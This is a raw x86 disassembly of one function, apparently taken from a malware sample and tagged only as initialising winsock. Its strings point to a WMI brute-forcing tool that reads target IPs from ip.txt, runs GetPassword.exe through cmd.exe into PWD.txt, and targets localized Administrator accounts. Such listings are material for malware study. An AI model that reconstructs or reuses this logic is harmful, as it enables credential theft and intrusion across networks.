Function at 0x4011c4
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 4], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x4fc710
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
push 0x1c
call fcn.00407101
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
add ebx, 8
push ebx
push 0x40c
call fcn.00407101
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x505a42
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x101
rep stosd dword es:[edi], eax
add ebx, 4
push ebx
push 0x20c
call fcn.00407101
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x505a4a
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x81
rep stosd dword es:[edi], eax
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x14], eax
mov edi, eax
mov esi, 0x4fc710
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x28], eax
mov edi, eax
mov esi, 0x4fc710
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
push 1
push 0
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 1
mov eax, str.WMI_BRUTE_EXE
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00402efc
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40130d
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40131d
push ebx
call fcn.004070fb
add esp, 4
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push str.ip.txt
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40135a
push ebx
call fcn.004070fb
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40136d
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x24c
call fcn.004076f0
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401393
push ebx
call fcn.004070fb
add esp, 4
cmp dword [ebp - 0x3c], 0
jne 0x4013a7
mov eax, 0
jmp 0x402d49
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push str.GetPassword.exe
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4013e4
push ebx
call fcn.004070fb
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x4013f7
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x24c
call fcn.004076f0
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40141d
push ebx
call fcn.004070fb
add esp, 4
cmp dword [ebp - 0x3c], 0
jne 0x401537
call fcn.00404c5d
test eax, eax
je 0x4014b8
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push str.GetPassword.exe
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401471
push ebx
call fcn.004070fb
add esp, 4
push OleUIBusyA
push 0
push 0x4242d8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x401490
mov eax, 0x4242c6
push eax
push 2
mov ebx, 0x26c
call fcn.00407700
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4014b3
push ebx
call fcn.004070fb
add esp, 4
jmp 0x401537
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push str.GetPassword.exe
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4014f5
push ebx
call fcn.004070fb
add esp, 4
push OleUIBusyA
push 0
push 0x49fae0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x401514
mov eax, 0x4242c6
push eax
push 2
mov ebx, 0x26c
call fcn.00407700
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401537
push ebx
call fcn.004070fb
add esp, 4
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x38], eax
push str.PWD.txt
push dword [ebp - 0x38]
push str.GetPassword.exe__
push dword [ebp - 0x34]
push str.cmd.exe__c
mov ecx, 5
call fcn.0040106b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401596
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4015a6
push ebx
call fcn.004070fb
add esp, 4
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x4015d1
mov eax, 0x4242c6
push eax
push 3
mov ebx, 0x2c0
call fcn.004077a0
add esp, 0x28
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4015f4
push ebx
call fcn.004070fb
add esp, 4
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push 1
push 0x2710
call fcn.00404e12
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push str.PWD.txt
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401653
push ebx
call fcn.004070fb
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x401666
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x24c
call fcn.004076f0
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40168c
push ebx
call fcn.004070fb
add esp, 4
cmp dword [ebp - 0x3c], 0
je 0x4018ec
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push str.PWD.txt
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4016d3
push ebx
call fcn.004070fb
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x4016e6
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x268
call fcn.00407890
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40170c
push ebx
call fcn.004070fb
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x40171f
mov eax, 0x4fc710
push eax
push 1
mov ebx, 0x168
call fcn.00407970
add esp, 0x10
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x401745
push ebx
call fcn.004070fb
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401759
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fc718
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x401782
mov eax, 0x4242c6
push eax
push 3
mov ebx, 0x190
call fcn.00407c10
add esp, 0x28
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4017ba
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4017b6
imul eax, dword [ebx]
jmp 0x4017ab
mov ecx, eax
test ecx, ecx
je 0x4017d9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4017d2
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4017c0
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
call fcn.004010c7
xor ecx, ecx
push eax
lea eax, [ebp - 0xc]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4018e9
mov ebx, dword [ebp - 8]
call fcn.004010e0
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x40182b
push 0x52e
push 0x4010001
push 4
call fcn.00407107
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x401848
push 0x52e
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x505ff4
push 4
mov eax, 2
call fcn.00407520
add esp, 8
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
mov dword [ebp - 0x38], eax
mov ebx, dword [0x505ff4]
mov dword [ebp - 0x3c], ebx
call fcn.004010e0
mov dword [ebp - 0x40], ecx
mov edi, dword [ebp - 0x3c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401899
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x40]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x3c]
call fcn.0040711f
add esp, 8
mov dword [0x505ff4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x40]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x38]
push edi
test eax, eax
je 0x4018de
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.00407101
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x4017f6
add esp, 0xc
mov eax, str.Administrator
push eax
mov ebx, dword [0x505ff8]
test ebx, ebx
je 0x401905
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [0x505ff8], eax
call fcn.0040506b
mov dword [ebp - 0x34], eax
push str.Administrador
push dword [ebp - 0x34]
call fcn.00401100
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401941
push ebx
call fcn.004070fb
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x40196a
mov eax, str.Administrador
push eax
mov ebx, dword [0x505ff8]
test ebx, ebx
je 0x401964
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [0x505ff8], eax
call fcn.0040506b
mov dword [ebp - 0x34], eax
push str.Administrateur
push dword [ebp - 0x34]
call fcn.00401100
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4019a0
push ebx
call fcn.004070fb
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x4019c9
mov eax, str.Administrateur
push eax
mov ebx, dword [0x505ff8]
test ebx, ebx
je 0x4019c3
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [0x505ff8], eax
mov dword [0x505ffc], 0xc8
mov dword [0x506000], 0
push 0
mov ebx, 4
mov eax, 0x40b480
call fcn.004075c0
add esp, 4
mov dword [0x506004], eax
mov dword [ebp - 0x34], esp
mov eax, dword [ebp - 0x10]
push eax
push 0x614
call fcn.00407101
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x101
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x81
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push 0x202
xor eax, eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
nop
nop
cmp dword [ebp - 0x34], esp
je 0x401aa4
push 0x73d
push 0x4010001
push 6
call fcn.00407107
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
add edi, 8
add ebx, 0x608
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.004070fb
add esp, 4
pop eax
push 0x505ff4
push 4
mov eax, 2
call fcn.00407520
add esp, 8
mov eax, str.NULL
mov dword [ebp - 0x34], eax
mov ebx, dword [0x505ff4]
mov dword [ebp - 0x38], ebx
call fcn.004010e0
mov dword [ebp - 0x3c], ecx
mov edi, dword [ebp - 0x38]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401b3d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x3c]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x38]
call fcn.0040711f
add esp, 8
mov dword [0x505ff4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x3c]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x34]
push edi
test eax, eax
je 0x401b82
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.00407101
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
push OleUIBusyA
push 0
push 0x4fc74b
push 1
mov ebx, 0x168
call fcn.00407970
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fc718
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x401bcb
mov eax, 0x4242c6
push eax
push 3
mov ebx, 0x190
call fcn.00407c10
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401bf1
push ebx
call fcn.004070fb
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [0x506008]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x401c16
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x401c12
imul eax, dword [ebx]
jmp 0x401c07
mov ecx, eax
test ecx, ecx
je 0x401c35
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x401c2e
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x401c1c
call fcn.004070fb
add esp, 4
pop eax
mov dword [0x506008], eax
mov ebx, dword [0x506008]
call fcn.004010c7
xor ecx, ecx
push eax
mov eax, 0x50600c
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x401ce5
push 0x506010
push 4
mov eax, 2
call fcn.00407520
add esp, 8
mov eax, dword [0x50600c]
mov dword [ebp - 0x34], eax
mov ebx, dword [0x506010]
mov dword [ebp - 0x38], ebx
call fcn.004010e0
mov dword [ebp - 0x3c], ecx
mov edi, dword [ebp - 0x38]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401cb0
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x3c]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x38]
call fcn.0040711f
add esp, 8
mov dword [0x506010], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x3c]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x34]
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x401c59
add esp, 0xc
push 0
push 0
push 0
push 1
mov ebx, 0x90
call fcn.00407d70
add esp, 0x10
xor ecx, ecx
mov eax, 0x50600c
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 0x1f4
jg 0x401eec
mov ebx, dword [0x506010]
call fcn.004010c7
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x94
call fcn.00407da0
add esp, 0x1c
mov dword [0x506014], eax
mov ebx, dword [0x506008]
call fcn.004010e0
push ebx
push ecx
mov eax, dword [0x506014]
dec eax
jns 0x401d7c
push 0x8e5
push 0x4010001
push 4
call fcn.00407107
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x401d99
push 0x8e5
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x505ff4
push 4
mov eax, 2
call fcn.00407520
add esp, 8
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
mov dword [ebp - 0x38], eax
mov ebx, dword [0x505ff4]
mov dword [ebp - 0x3c], ebx
call fcn.004010e0
mov dword [ebp - 0x40], ecx
mov edi, dword [ebp - 0x3c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401dea
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x40]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x3c]
call fcn.0040711f
add esp, 8
mov dword [0x505ff4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x40]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x38]
push edi
test eax, eax
je 0x401e2f
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.00407101
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
push 0x506010
push 4
mov eax, 2
call fcn.00407520
add esp, 8
mov eax, dword [0x506014]
dec eax
jl 0x401ee3
mov dword [ebp - 0x34], eax
mov ebx, dword [0x506010]
mov dword [ebp - 0x3c], ebx
call fcn.004010e0
mov dword [ebp - 0x40], ecx
sub ecx, dword [ebp - 0x34]
jle 0x401ee3
cmp ecx, 1
jle 0x401e79
mov ecx, 1
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], 0
jle 0x401ee3
mov edi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
sub eax, dword [ebp - 0x38]
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401ea7
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x3c]
add edi, 8
mov eax, dword [ebp - 0x34]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x38]
shl eax, 2
mov esi, edi
add esi, eax
mov ecx, dword [ebp - 0x40]
sub ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
sub edi, dword [ebp - 0x3c]
push edi
push dword [ebp - 0x3c]
call fcn.0040711f
add esp, 8
mov dword [0x506010], eax
mov eax, dword [ebp - 0x38]
jmp 0x401ee5
xor eax, eax
pop ebx
pop ecx
jmp 0x401d09
add esp, 8
push 0
mov ebx, 0x104
call fcn.00407660
add esp, 4
mov dword [ebp - 0x34], eax
push str.ip.txt
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x401f2c
push ebx
call fcn.004070fb
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x401f3f
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x268
call fcn.00407890
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x401f65
push ebx
call fcn.004070fb
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x401f78
mov eax, 0x4fc710
push eax
push 1
mov ebx, 0x168
call fcn.00407970
add esp, 0x10
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x401f9e
push ebx
call fcn.004070fb
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fc718
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x40]
test eax, eax
jne 0x401fc3
mov eax, 0x4242c6
push eax
push 3
mov ebx, 0x190
call fcn.00407c10
add esp, 0x28
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x401fe9
push ebx
call fcn.004070fb
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40200b
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402007
imul eax, dword [ebx]
jmp 0x401ffc
mov ecx, eax
test ecx, ecx
je 0x40202a
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402023
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402011
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.004010c7
xor ecx, ecx
push eax
lea eax, [ebp - 0x18]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x402d3c
mov ebx, dword [ebp - 0x14]
call fcn.004010e0
push ebx
push ecx
mov eax, dword [ebp - 0x18]
dec eax
jns 0x40207c
push 0xa1e
push 0x4010001
push 4
call fcn.00407107
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x402099
push 0xa1e
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x4020bf
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.00407101
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4020d0
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov eax, 0x505a30
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040515b
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x402114
push ebx
call fcn.004070fb
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402128
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov eax, 0x505a30
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040539a
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40216c
push ebx
call fcn.004070fb
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402180
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x20]
call fcn.00401100
add esp, 8
cmp eax, 0
je 0x402d34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x505a32
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4021c1
mov eax, 0x4242c6
push eax
push 3
mov ebx, 0x190
call fcn.00407c10
add esp, 0x28
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x28]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4021f9
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4021f5
imul eax, dword [ebx]
jmp 0x4021ea
mov ecx, eax
test ecx, ecx
je 0x402218
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402211
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4021ff
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x40224c
push 0xb56
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x40227c
push 0xb99
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x402299
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x9dc
call fcn.00407e20
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fadd qword [0x505a34]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x168
call fcn.00407970
add esp, 0x10
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4022f7
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 0
cmp eax, ecx
jl 0x402325
push 0xbde
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 1
cmp eax, ecx
jl 0x402355
push 0xbde
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x402385
push 0xbde
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x4023b5
push 0xbde
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x40]
push dword [ebx]
push 0x505a32
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
push 0x505a32
mov ebx, dword [ebp - 0x38]
push dword [ebx]
push 0x505a32
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ecx, 7
call fcn.0040106b
add esp, 0x1c
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402404
push ebx
call fcn.004070fb
add esp, 4
pop eax
